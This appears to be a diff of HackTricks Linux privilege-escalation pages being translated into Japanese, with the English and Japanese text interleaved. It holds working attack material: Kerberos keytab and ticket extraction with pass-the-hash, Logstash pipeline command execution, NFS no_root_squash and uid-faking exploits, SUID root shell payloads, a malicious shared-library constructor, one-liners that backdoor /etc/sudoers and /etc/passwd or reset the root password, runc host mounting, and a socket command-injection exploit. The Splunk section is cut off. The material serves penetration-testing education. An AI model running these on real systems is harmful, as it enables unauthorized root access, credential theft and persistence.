This procedure will attempt to inject into various sessions, indicating success by storing extracted tickets in `/tmp` with a naming convention of `__krb_UID.ccache`.
### SSSD KCMからのCCACHEチケットの再利用
### CCACHE ticket reuse from SSSD KCM
SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`. The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`. By default, the key is only readable if you have **root** permissions.
Invoking \*\*`SSSDKCMExtractor` \*\* with the --database and --key parameters will parse the database and **decrypt the secrets**.
SSSDは、パス `/var/lib/sss/secrets/secrets.ldb` にデータベースのコピーを保持しています。対応するキーは、パス `/var/lib/sss/secrets/.secrets.mkey` に隠しファイルとして保存されています。デフォルトでは、キーは **root** 権限を持っている場合にのみ読み取ることができます。
\*\*`SSSDKCMExtractor` \*\* を --database および --key パラメータで呼び出すと、データベースを解析し、**秘密を復号化**します。
```bash
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```
**資格情報キャッシュKerberosブロブは、Mimikatz/Rubeusに渡すことができる使用可能なKerberos CCache**ファイルに変換できます。
The **credential cache Kerberos blob can be converted into a usable Kerberos CCache** file that can be passed to Mimikatz/Rubeus.
### CCACHE ticket reuse from keytab
### keytabからのCCACHEチケット再利用
```bash
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab
```
### /etc/krb5.keytab からアカウントを抽出する
### Extract accounts from /etc/krb5.keytab
Service account keys, essential for services operating with root privileges, are securely stored in **`/etc/krb5.keytab`** files. These keys, akin to passwords for services, demand strict confidentiality.
To inspect the keytab file's contents, **`klist`** can be employed. The tool is designed to display key details, including the **NT Hash** for user authentication, particularly when the key type is identified as 23.
サービスアカウントキーは、ルート権限で動作するサービスにとって不可欠であり、**`/etc/krb5.keytab`** ファイルに安全に保存されています。これらのキーは、サービスのパスワードに似ており、厳格な機密性が求められます。
keytabファイルの内容を確認するには、**`klist`** を使用できます。このツールは、特にキータイプが23として識別される場合に、ユーザー認証のための**NT Hash**を含むキーの詳細を表示するように設計されています。
```bash
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
# Output includes service principal details and the NT Hash
```
For Linux users, **`KeyTabExtract`** offers functionality to extract the RC4 HMAC hash, which can be leveraged for NTLM hash reuse.
Linuxユーザーにとって、**`KeyTabExtract`** はRC4 HMACハッシュを抽出する機能を提供し、これをNTLMハッシュの再利用に活用できます。
```bash
python3 keytabextract.py krb5.keytab
# Expected output varies based on hash availability
```
On macOS, **`bifrost`** serves as a tool for keytab file analysis.
macOSでは、**`bifrost`**はkeytabファイル分析のためのツールとして機能します。
```bash
./bifrost -action dump -source keytab -path /path/to/your/file
```
Utilizing the extracted account and hash information, connections to servers can be established using tools like **`crackmapexec`**.
抽出されたアカウントとハッシュ情報を利用して、**`crackmapexec`**のようなツールを使用してサーバーへの接続を確立できます。
```bash
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
```
## References
## 参考文献
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
- [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}}

1400
src/linux-hardening/privilege-escalation/linux-capabilities.md
View File

File diff suppressed because it is too large Load Diff

54
src/linux-hardening/privilege-escalation/logstash.md
View File

@ -2,59 +2,55 @@
## Logstash
Logstash is used to **gather, transform, and dispatch logs** through a system known as **pipelines**. These pipelines are made up of **input**, **filter**, and **output** stages. An interesting aspect arises when Logstash operates on a compromised machine.
Logstashは**ログを収集、変換、配信する**ために使用され、**パイプライン**として知られるシステムを通じて行われます。これらのパイプラインは**入力**、**フィルター**、および**出力**ステージで構成されています。Logstashが侵害されたマシンで動作する際に興味深い側面が現れます。
### Pipeline Configuration
Pipelines are configured in the file **/etc/logstash/pipelines.yml**, which lists the locations of the pipeline configurations:
### パイプラインの設定
パイプラインは**/etc/logstash/pipelines.yml**ファイルで設定されており、パイプライン設定の場所がリストされています：
```yaml
# Define your pipelines here. Multiple pipelines can be defined.
# For details on multiple pipelines, refer to the documentation:
# https://www.elastic.co/guide/en/logstash/current/multiple-pipelines.html
- pipeline.id: main
path.config: "/etc/logstash/conf.d/*.conf"
path.config: "/etc/logstash/conf.d/*.conf"
- pipeline.id: example
path.config: "/usr/share/logstash/pipeline/1*.conf"
pipeline.workers: 6
path.config: "/usr/share/logstash/pipeline/1*.conf"
pipeline.workers: 6
```
このファイルは、パイプライン構成を含む **.conf** ファイルがどこにあるかを明らかにします。 **Elasticsearch output module** を使用する際、**pipelines** には **Elasticsearch credentials** が含まれることが一般的で、これは Logstash が Elasticsearch にデータを書き込む必要があるため、広範な権限を持つことがよくあります。構成パスのワイルドカードにより、Logstash は指定されたディレクトリ内のすべての一致するパイプラインを実行できます。
This file reveals where the **.conf** files, containing pipeline configurations, are located. When employing an **Elasticsearch output module**, it's common for **pipelines** to include **Elasticsearch credentials**, which often possess extensive privileges due to Logstash's need to write data to Elasticsearch. Wildcards in configuration paths allow Logstash to execute all matching pipelines in the designated directory.
### 書き込み可能なパイプラインによる特権昇格
### Privilege Escalation via Writable Pipelines
特権昇格を試みるには、まず Logstash サービスが実行されているユーザーを特定します。通常は **logstash** ユーザーです。次の **いずれか** の条件を満たしていることを確認してください：
To attempt privilege escalation, first identify the user under which the Logstash service is running, typically the **logstash** user. Ensure you meet **one** of these criteria:
- パイプラインの **.conf** ファイルに **書き込みアクセス** を持っている **または**
- **/etc/logstash/pipelines.yml** ファイルがワイルドカードを使用しており、ターゲットフォルダーに書き込むことができる
- Possess **write access** to a pipeline **.conf** file **or**
- The **/etc/logstash/pipelines.yml** file uses a wildcard, and you can write to the target folder
さらに、次の **いずれか** の条件を満たす必要があります：
Additionally, **one** of these conditions must be fulfilled:
- Capability to restart the Logstash service **or**
- The **/etc/logstash/logstash.yml** file has **config.reload.automatic: true** set
Given a wildcard in the configuration, creating a file that matches this wildcard allows for command execution. For instance:
- Logstash サービスを再起動する能力 **または**
- **/etc/logstash/logstash.yml** ファイルに **config.reload.automatic: true** が設定されている
構成にワイルドカードがある場合、このワイルドカードに一致するファイルを作成することでコマンドを実行できます。例えば：
```bash
input {
exec {
command => "whoami"
interval => 120
}
exec {
command => "whoami"
interval => 120
}
}
output {
file {
path => "/tmp/output.log"
codec => rubydebug
}
file {
path => "/tmp/output.log"
codec => rubydebug
}
}
```
ここで、**interval**は実行頻度を秒単位で決定します。与えられた例では、**whoami**コマンドが120秒ごとに実行され、その出力は**/tmp/output.log**に送られます。
Here, **interval** determines the execution frequency in seconds. In the given example, the **whoami** command runs every 120 seconds, with its output directed to **/tmp/output.log**.
With **config.reload.automatic: true** in **/etc/logstash/logstash.yml**, Logstash will automatically detect and apply new or modified pipeline configurations without needing a restart. If there's no wildcard, modifications can still be made to existing configurations, but caution is advised to avoid disruptions.
**/etc/logstash/logstash.yml**に**config.reload.automatic: true**が設定されている場合、Logstashは再起動することなく新しいまたは変更されたパイプライン構成を自動的に検出して適用します。ワイルドカードがない場合でも、既存の構成に対して変更を加えることは可能ですが、混乱を避けるために注意が必要です。
## References

96
src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
View File

@ -1,19 +1,18 @@
{{#include ../../banners/hacktricks-training.md}}
Read the _ **/etc/exports** _ file, if you find some directory that is configured as **no_root_squash**, then you can **access** it from **as a client** and **write inside** that directory **as** if you were the local **root** of the machine.
_ **/etc/exports** _ ファイルを読み、**no_root_squash** として設定されているディレクトリが見つかった場合、クライアントとしてそのディレクトリに**アクセス**し、ローカルの**root**のようにそのディレクトリの中に**書き込む**ことができます。
**no_root_squash**: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implications.
**no_root_squash**: このオプションは基本的に、クライアントのrootユーザーにNFSサーバー上のファイルにrootとしてアクセスする権限を与えます。これにより、深刻なセキュリティ上の問題が生じる可能性があります。
**no_all_squash:** This is similar to **no_root_squash** option but applies to **non-root users**. Imagine, you have a shell as nobody user; checked /etc/exports file; no_all_squash option is present; check /etc/passwd file; emulate a non-root user; create a suid file as that user (by mounting using nfs). Execute the suid as nobody user and become different user.
**no_all_squash:** これは**no_root_squash**オプションに似ていますが、**非rootユーザー**に適用されます。例えば、nobodyユーザーとしてシェルを持ち、/etc/exportsファイルを確認し、no_all_squashオプションが存在し、/etc/passwdファイルを確認し、非rootユーザーをエミュレートし、そのユーザーとしてsuidファイルを作成（nfsを使用してマウント）します。その後、nobodyユーザーとしてsuidを実行し、異なるユーザーになります。
# Privilege Escalation
## Remote Exploit
If you have found this vulnerability, you can exploit it:
- **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder the **/bin/bash** binary and giving it **SUID** rights, and **executing from the victim** machine that bash binary.
この脆弱性を見つけた場合、次のように悪用できます：
- クライアントマシンでそのディレクトリを**マウント**し、**rootとして**マウントされたフォルダ内に**/bin/bash**バイナリをコピーし、**SUID**権限を与え、被害者マシンからそのbashバイナリを**実行**します。
```bash
#Attacker, as root user
mkdir /tmp/pe
@ -26,9 +25,7 @@ chmod +s bash
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
```
- **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder our come compiled payload that will abuse the SUID permission, give to it **SUID** rights, and **execute from the victim** machine that binary (you can find here some[ C SUID payloads](payloads-to-execute.md#c)).
- **クライアントマシンでそのディレクトリをマウントし、** マウントされたフォルダ内に **rootとして** SUID権限を悪用するコンパイル済みペイロードをコピーし、それに **SUID** 権限を与え、**被害者** マシンからそのバイナリを **実行します** (ここにいくつかの[C SUIDペイロード](payloads-to-execute.md#c)があります)。
```bash
#Attacker, as root user
gcc payload.c -o payload
@ -42,61 +39,57 @@ chmod +s payload
cd <SHAREDD_FOLDER>
./payload #ROOT shell
```
## Local Exploit
## ローカルエクスプロイト
> [!NOTE]
> Note that if you can create a **tunnel from your machine to the victim machine you can still use the Remote version to exploit this privilege escalation tunnelling the required ports**.\
> The following trick is in case the file `/etc/exports` **indicates an IP**. In this case you **won't be able to use** in any case the **remote exploit** and you will need to **abuse this trick**.\
> Another required requirement for the exploit to work is that **the export inside `/etc/export`** **must be using the `insecure` flag**.\
> --_I'm not sure that if `/etc/export` is indicating an IP address this trick will work_--
> あなたのマシンから被害者のマシンへの**トンネルを作成できる場合、必要なポートをトンネリングしてこの特権昇格を悪用するためにリモートバージョンを使用することができます**。\
> 次のトリックは、ファイル`/etc/exports`が**IPを示している場合**です。この場合、**リモートエクスプロイトを使用することはできず**、**このトリックを悪用する必要があります**。\
> エクスプロイトが機能するためのもう一つの要件は、**`/etc/export`内のエクスポートが`insecure`フラグを使用している必要があることです**。\
> --_`/etc/export`がIPアドレスを示している場合、このトリックが機能するかどうかはわかりません_--
## Basic Information
## 基本情報
The scenario involves exploiting a mounted NFS share on a local machine, leveraging a flaw in the NFSv3 specification which allows the client to specify its uid/gid, potentially enabling unauthorized access. The exploitation involves using [libnfs](https://github.com/sahlberg/libnfs), a library that allows for the forging of NFS RPC calls.
このシナリオは、ローカルマシン上のマウントされたNFS共有を悪用し、クライアントがuid/gidを指定できるNFSv3仕様の欠陥を利用して、無許可のアクセスを可能にします。悪用には、NFS RPCコールの偽造を可能にするライブラリ[libnfs](https://github.com/sahlberg/libnfs)を使用します。
### Compiling the Library
The library compilation steps might require adjustments based on the kernel version. In this specific case, the fallocate syscalls were commented out. The compilation process involves the following commands:
### ライブラリのコンパイル
ライブラリのコンパイル手順は、カーネルバージョンに基づいて調整が必要な場合があります。この特定のケースでは、fallocateシステムコールがコメントアウトされていました。コンパイルプロセスには、次のコマンドが含まれます：
```bash
./bootstrap
./configure
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
```
### 攻撃の実行
### Conducting the Exploit
攻撃は、特権をルートに昇格させ、その後シェルを実行するシンプルなCプログラム（`pwn.c`）を作成することを含みます。プログラムはコンパイルされ、結果として得られたバイナリ（`a.out`）はsuid rootで共有に配置され、RPC呼び出しでuidを偽装するために`ld_nfs.so`を使用します。
The exploit involves creating a simple C program (`pwn.c`) that elevates privileges to root and then executing a shell. The program is compiled, and the resulting binary (`a.out`) is placed on the share with suid root, using `ld_nfs.so` to fake the uid in the RPC calls:
1. **攻撃コードをコンパイルする:**
1. **Compile the exploit code:**
```bash
cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
```
```bash
cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
```
2. **攻撃を共有に配置し、uidを偽装してその権限を変更する:**
2. **Place the exploit on the share and modify its permissions by faking the uid:**
```bash
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
```
```bash
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
```
3. **攻撃を実行してルート権限を取得する:**
```bash
/mnt/share/a.out
#root
```
3. **Execute the exploit to gain root privileges:**
```bash
/mnt/share/a.out
#root
```
## Bonus: NFShell for Stealthy File Access
Once root access is obtained, to interact with the NFS share without changing ownership (to avoid leaving traces), a Python script (nfsh.py) is used. This script adjusts the uid to match that of the file being accessed, allowing for interaction with files on the share without permission issues:
## ボーナス: NFShellによるステルスファイルアクセス
ルートアクセスが取得されたら、所有権を変更せずにNFS共有と対話するために、Pythonスクリプト（nfsh.py）が使用されます。このスクリプトは、アクセスされるファイルのuidに一致するようにuidを調整し、権限の問題なしに共有上のファイルと対話できるようにします:
```python
#!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html
@ -104,23 +97,20 @@ import sys
import os
def get_file_uid(filepath):
try:
uid = os.stat(filepath).st_uid
except OSError as e:
return get_file_uid(os.path.dirname(filepath))
return uid
try:
uid = os.stat(filepath).st_uid
except OSError as e:
return get_file_uid(os.path.dirname(filepath))
return uid
filepath = sys.argv[-1]
uid = get_file_uid(filepath)
os.setreuid(uid, uid)
os.system(' '.join(sys.argv[1:]))
```
Run like:
実行するには：
```bash
# ll ./mount/
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
```
{{#include ../../banners/hacktricks-training.md}}

96
src/linux-hardening/privilege-escalation/payloads-to-execute.md
View File

@ -1,22 +1,19 @@
# Payloads to execute
# 実行するペイロード
{{#include ../../banners/hacktricks-training.md}}
## Bash
```bash
cp /bin/bash /tmp/b && chmod +s /tmp/b
/bin/b -p #Maintains root privileges from suid, working in debian & buntu
```
## C
```c
//gcc payload.c -o payload
int main(void){
setresuid(0, 0, 0); //Set as user suid user
system("/bin/sh");
return 0;
setresuid(0, 0, 0); //Set as user suid user
system("/bin/sh");
return 0;
}
```
@ -27,9 +24,9 @@ int main(void){
#include <sys/types.h>
int main(){
setuid(getuid());
system("/bin/bash");
return 0;
setuid(getuid());
system("/bin/bash");
return 0;
}
```
@ -40,42 +37,38 @@ int main(){
#include <unistd.h>
int main(void) {
char *const paramList[10] = {"/bin/bash", "-p", NULL};
const int id = 1000;
setresuid(id, id, id);
execve(paramList[0], paramList, NULL);
return 0;
char *const paramList[10] = {"/bin/bash", "-p", NULL};
const int id = 1000;
setresuid(id, id, id);
execve(paramList[0], paramList, NULL);
return 0;
}
```
## 権限昇格のためのファイルの上書き
## Overwriting a file to escalate privileges
### 一般的なファイル
### Common files
- _/etc/passwd_ にパスワード付きのユーザーを追加
- _/etc/shadow_ 内のパスワードを変更
- _/etc/sudoers_ にユーザーをsudoersに追加
- 通常 _/run/docker.sock_ または _/var/run/docker.sock_ にあるdockerソケットを通じてdockerを悪用
- Add user with password to _/etc/passwd_
- Change password inside _/etc/shadow_
- Add user to sudoers in _/etc/sudoers_
- Abuse docker through the docker socket, usually in _/run/docker.sock_ or _/var/run/docker.sock_
### Overwriting a library
Check a library used by some binary, in this case `/bin/su`:
### ライブラリの上書き
バイナリによって使用されるライブラリを確認します。この場合は `/bin/su`:
```bash
ldd /bin/su
linux-vdso.so.1 (0x00007ffef06e9000)
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
linux-vdso.so.1 (0x00007ffef06e9000)
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
```
In this case lets try to impersonate `/lib/x86_64-linux-gnu/libaudit.so.1`.\
So, check for functions of this library used by the **`su`** binary:
この場合、`/lib/x86_64-linux-gnu/libaudit.so.1`を偽装してみましょう。\
したがって、**`su`**バイナリによって使用されるこのライブラリの関数を確認します：
```bash
objdump -T /bin/su | grep audit
0000000000000000 DF *UND* 0000000000000000 audit_open
@ -83,9 +76,7 @@ objdump -T /bin/su | grep audit
0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message
000000000020e968 g DO .bss 0000000000000004 Base audit_fd
```
The symbols `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` and `audit_fd` are probably from the libaudit.so.1 library. As the libaudit.so.1 will be overwritten by the malicious shared library, these symbols should be present in the new shared library, otherwise the program will not be able to find the symbol and will exit.
シンボル `audit_open`、`audit_log_acct_message`、`audit_log_acct_message` および `audit_fd` は、おそらく libaudit.so.1 ライブラリからのものです。libaudit.so.1 は悪意のある共有ライブラリによって上書きされるため、これらのシンボルは新しい共有ライブラリに存在する必要があります。そうでなければ、プログラムはシンボルを見つけることができず、終了します。
```c
#include<stdio.h>
#include<stdlib.h>
@ -102,34 +93,27 @@ void inject()__attribute__((constructor));
void inject()
{
setuid(0);
setgid(0);
system("/bin/bash");
setuid(0);
setgid(0);
system("/bin/bash");
}
```
今、単に **`/bin/su`** を呼び出すことで、rootとしてシェルを取得できます。
Now, just calling **`/bin/su`** you will obtain a shell as root.
## スクリプト
## Scripts
Can you make root execute something?
### **www-data to sudoers**
rootに何かを実行させることはできますか？
### **www-dataをsudoersに追加**
```bash
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
```
### **Change root password**
### **ルートパスワードの変更**
```bash
echo "root:hacked" | chpasswd
```
### Add new root user to /etc/passwd
### /etc/passwd に新しい root ユーザーを追加する
```bash
echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd
```
{{#include ../../banners/hacktricks-training.md}}

28
src/linux-hardening/privilege-escalation/runc-privilege-escalation.md
View File

@ -1,10 +1,10 @@
# RunC Privilege Escalation
# RunC特権昇格
{{#include ../../banners/hacktricks-training.md}}
## Basic information
## 基本情報
If you want to learn more about **runc** check the following page:
**runc**についてもっと知りたい場合は、以下のページを確認してください：
{{#ref}}
../../network-services-pentesting/2375-pentesting-docker.md
@ -12,22 +12,21 @@ If you want to learn more about **runc** check the following page:
## PE
If you find that `runc` is installed in the host you may be able to **run a container mounting the root / folder of the host**.
ホストに`runc`がインストールされている場合、**ホストのルート/フォルダーをマウントしたコンテナを実行できる可能性があります**。
```bash
runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder
Inside the "mounts" section of the create config.json add the following lines:
{
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
},
#Once you have modified the config.json file, create the folder rootfs in the same directory
@ -37,8 +36,7 @@ mkdir rootfs
# The root folder is the one from the host
runc run demo
```
> [!CAUTION]
> This won't always work as the default operation of runc is to run as root, so running it as an unprivileged user simply cannot work (unless you have a rootless configuration). Making a rootless configuration the default isn't generally a good idea because there are quite a few restrictions inside rootless containers that don't apply outside rootless containers.
> これは常に機能するわけではありません。runcのデフォルトの動作はrootとして実行することなので、特権のないユーザーとして実行することは単純に機能しません（ルートレス構成がない限り）。ルートレス構成をデフォルトにすることは一般的には良いアイデアではありません。なぜなら、ルートレスコンテナ内には、ルートレスコンテナの外には適用されないいくつかの制限があるからです。
{{#include ../../banners/hacktricks-training.md}}

14
src/linux-hardening/privilege-escalation/selinux.md
View File

@ -1,13 +1,12 @@
{{#include ../../banners/hacktricks-training.md}}
# SELinux in Containers
# コンテナにおけるSELinux
[Introduction and example from the redhat docs](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
[Red Hatのドキュメントからの紹介と例](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) is a **labeling** **system**. Every **process** and every **file** system object has a **label**. SELinux policies define rules about what a **process label is allowed to do with all of the other labels** on the system.
Container engines launch **container processes with a single confined SELinux label**, usually `container_t`, and then set the container inside of the container to be labeled `container_file_t`. The SELinux policy rules basically say that the **`container_t` processes can only read/write/execute files labeled `container_file_t`**. If a container process escapes the container and attempts to write to content on the host, the Linux kernel denies access and only allows the container process to write to content labeled `container_file_t`.
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) は **ラベリング** **システム** です。すべての **プロセス** とすべての **ファイル** システムオブジェクトには **ラベル** があります。SELinuxポリシーは、**プロセスラベルがシステム上の他のすべてのラベルに対して何をすることが許可されているか** に関するルールを定義します。
コンテナエンジンは、通常 `container_t` の単一の制限されたSELinuxラベルを持つ **コンテナプロセス** を起動し、その後コンテナ内のコンテナを `container_file_t` とラベル付けします。SELinuxポリシールールは基本的に、**`container_t` プロセスは `container_file_t` とラベル付けされたファイルをのみ読み書き/実行できる** と述べています。コンテナプロセスがコンテナから脱出し、ホスト上のコンテンツに書き込もうとすると、Linuxカーネルはアクセスを拒否し、コンテナプロセスが `container_file_t` とラベル付けされたコンテンツにのみ書き込むことを許可します。
```shell
$ podman run -d fedora sleep 100
d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb
@ -15,9 +14,8 @@ $ podman top -l label
LABEL
system_u:system_r:container_t:s0:c647,c780
```
# SELinuxユーザー
# SELinux Users
There are SELinux users in addition to the regular Linux users. SELinux users are part of an SELinux policy. Each Linux user is mapped to a SELinux user as part of the policy. This allows Linux users to inherit the restrictions and security rules and mechanisms placed on SELinux users.
通常のLinuxユーザーに加えて、SELinuxユーザーも存在します。SELinuxユーザーはSELinuxポリシーの一部です。各Linuxユーザーはポリシーの一部としてSELinuxユーザーにマッピングされます。これにより、LinuxユーザーはSELinuxユーザーに課せられた制限やセキュリティルール、メカニズムを継承することができます。
{{#include ../../banners/hacktricks-training.md}}

32
src/linux-hardening/privilege-escalation/socket-command-injection.md
View File

@ -1,9 +1,8 @@
{{#include ../../banners/hacktricks-training.md}}
## Socket binding example with Python
In the following example a **unix socket is created** (`/tmp/socket_test.s`) and everything **received** is going to be **executed** by `os.system`.I know that you aren't going to find this in the wild, but the goal of this example is to see how a code using unix sockets looks like, and how to manage the input in the worst case possible.
## Pythonによるソケットバインディングの例
次の例では、**unixソケットが作成されます**（`/tmp/socket_test.s`）そして受信したすべてのものが`os.system`によって**実行されます**。これは実際には見つからないことを知っていますが、この例の目的は、unixソケットを使用したコードがどのように見えるか、そして最悪のケースでの入力の管理方法を示すことです。
```python:s.py
import socket
import os, os.path
@ -11,34 +10,29 @@ import time
from collections import deque
if os.path.exists("/tmp/socket_test.s"):
os.remove("/tmp/socket_test.s")
os.remove("/tmp/socket_test.s")
server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
server.bind("/tmp/socket_test.s")
os.system("chmod o+w /tmp/socket_test.s")
while True:
server.listen(1)
conn, addr = server.accept()
datagram = conn.recv(1024)
if datagram:
print(datagram)
os.system(datagram)
conn.close()
server.listen(1)
conn, addr = server.accept()
datagram = conn.recv(1024)
if datagram:
print(datagram)
os.system(datagram)
conn.close()
```
**Execute** the code using python: `python s.py` and **check how the socket is listening**:
**コードを実行**するには、pythonを使用します: `python s.py` と **ソケットがどのようにリッスンしているかを確認**します:
```python
netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
will not be shown, you would have to be root to see it all.)
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
```
**Exploit**
**エクスプロイト**
```python
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
```
{{#include ../../banners/hacktricks-training.md}}

50
src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md
View File

@ -1,52 +1,50 @@
# Splunk LPE and Persistence
# Splunk LPEと持続性
{{#include ../../banners/hacktricks-training.md}}
If **enumerating** a machine **internally** or **externally** you find **Splunk running** (port 8090), if you luckily know any **valid credentials** you can **abuse the Splunk service** to **execute a shell** as the user running Splunk. If root is running it, you can escalate privileges to root.
内部または外部でマシンを**列挙**しているときに**Splunkが実行中**（ポート8090）であることがわかり、運が良ければ**有効な資格情報**を知っている場合、**Splunkサービスを悪用**してSplunkを実行しているユーザーとして**シェルを実行**できます。もしrootが実行している場合、特権をrootに昇格させることができます。
Also if you are **already root and the Splunk service is not listening only on localhost**, you can **steal** the **password** file **from** the Splunk service and **crack** the passwords, or **add new** credentials to it. And maintain persistence on the host.
また、**すでにrootであり、Splunkサービスがlocalhostのみでリッスンしていない場合**、Splunkサービスから**パスワード**ファイルを**盗み**、パスワードを**クラッキング**するか、新しい資格情報を追加できます。そして、ホスト上で持続性を維持します。
In the first image below you can see how a Splunkd web page looks like.
下の最初の画像では、Splunkdのウェブページがどのように見えるかを示しています。
## Splunk Universal Forwarder Agent Exploit Summary
## Splunk Universal Forwarder Agentの脆弱性概要
For further details check the post [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). This is just a sumary:
詳細については、投稿を確認してください [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/)。これは概要です：
**Exploit Overview:**
An exploit targeting the Splunk Universal Forwarder Agent (UF) allows attackers with the agent password to execute arbitrary code on systems running the agent, potentially compromising an entire network.
**脆弱性の概要:**
Splunk Universal Forwarder Agent（UF）を対象とした脆弱性は、エージェントのパスワードを持つ攻撃者がエージェントを実行しているシステム上で任意のコードを実行できるようにし、ネットワーク全体を危険にさらす可能性があります。
**Key Points:**
**重要なポイント:**
- The UF agent does not validate incoming connections or the authenticity of code, making it vulnerable to unauthorized code execution.
- Common password acquisition methods include locating them in network directories, file shares, or internal documentation.
- Successful exploitation can lead to SYSTEM or root level access on compromised hosts, data exfiltration, and further network infiltration.
- UFエージェントは、受信接続やコードの真正性を検証しないため、不正なコード実行に対して脆弱です。
- 一般的なパスワード取得方法には、ネットワークディレクトリ、ファイル共有、または内部文書での発見が含まれます。
- 成功した脆弱性の悪用は、侵害されたホストでのSYSTEMまたはrootレベルのアクセス、データの流出、さらなるネットワーク侵入につながる可能性があります。
**Exploit Execution:**
